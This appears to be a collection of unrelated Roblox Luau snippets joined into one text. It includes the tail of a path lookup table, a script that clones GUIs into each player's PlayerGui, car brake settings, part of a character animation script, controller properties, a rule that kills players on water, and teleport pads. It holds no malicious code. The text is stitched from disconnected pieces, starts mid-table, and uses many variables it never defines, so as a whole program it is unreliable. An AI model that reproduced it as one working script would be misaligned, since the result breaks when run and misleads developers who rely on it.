[26]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26},t}, [68]={{75,73,76,72,71,61,59,41,30,56,58,20,19,66,64,67,68},t}, [76]={{75,73,76},t}, [50]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{75,73,76,72,71,61,59,41,30,56,58,20,19,66},t}, [10]={n,f}, [24]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{75,73,76,72,71,61,59,41,30,56,58,23},t}, [44]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44},t}, [39]={{75,73,76,72,71,61,59,41,39},t}, [32]={{75,73,76,72,71,61,59,41,39,35,34,32},t}, [3]={n,f}, [30]={{75,73,76,72,71,61,59,41,30},t}, [51]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{75,73,76,72,71,61,59,41,30,56,58,20,19,66,64,67},t}, [61]={{75,73,76,72,71,61},t}, [55]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{75,73,76,72,71,61,59,41,39,40,38,42},t}, [40]={{75,73,76,72,71,61,59,41,39,40},t}, [52]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{75,73,76,72,71,61,59,41},t}, [17]={n,f}, [38]={{75,73,76,72,71,61,59,41,39,40,38},t}, [28]={{75,73,76,72,71,61,59,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{75,73,76,72,71,61,59,41,30,56,58,20,19,66,64},t}, } return r
-- Game descrption: Monster fighting game where you go down paths of advancement to fight stronger enemies and get better weapons
-- server script (ServerScriptService)
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Players = game:GetService("Players") local function loadGuis(player) local guisFolder = ReplicatedStorage:FindFirstChild("GUIFolder") if guisFolder then for _, gui in ipairs(guisFolder:GetChildren()) do if gui:IsA("ScreenGui") then local clonedGui = gui:Clone() clonedGui.Parent = player:WaitForChild("PlayerGui") end end end end Players.PlayerAdded:Connect(loadGuis)
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 1500 -- Front brake force Tune.RBrakeForce = 100000 -- Rear brake force Tune.PBrakeForce = 999999 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if userAnimateScaleRun then speed /= getHeightScale() end if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.2, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
-- @outline // PUBLIC PROPERTIES
local UIS = game:GetService("UserInputService") Controller.ForceMove = 0 -- Force the character to move toward mouse OR toward the direction given by keyboard Controller.MoveDirection = Vector2.new() Controller.ListenForInput = true Controller.Enabled = true Controller.SmoothTime = 0.06 Controller.Inputs = {W=0,S=0,D=0,A=0}
--//Controller//--
Humanoid:GetPropertyChangedSignal("FloorMaterial"):Connect(function() local FloorMaterial = Humanoid.FloorMaterial if FloorMaterial == Enum.Material.Water then Humanoid:TakeDamage(Humanoid.MaxHealth) end end)
----- Service -----
local ServerScriptService = game:GetService("ServerScriptService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local MarketplaceService = game:GetService("MarketplaceService") local Players = game:GetService("Players")
-----------------------
function warpPlayer(player, location) local HRP = player:WaitForChild("HumanoidRootPart") HRP.Position = Vector3.new(location.X, location.Y + 3, location.Z) end pad1.Touched:Connect(function(hit) if hit.Parent and hit.Parent:FindFirstChildOfClass("Humanoid").Health > 0 and bounce then bounce = false warpPlayer(hit.Parent, pad2.Position) task.wait(1) bounce = true end end) pad2.Touched:Connect(function(hit) if hit.Parent and hit.Parent:FindFirstChildOfClass("Humanoid").Health > 0 and bounce and padIsOneDirectional.Value == false then bounce = false warpPlayer(hit.Parent, pad1.Position) task.wait(1) bounce = true end end)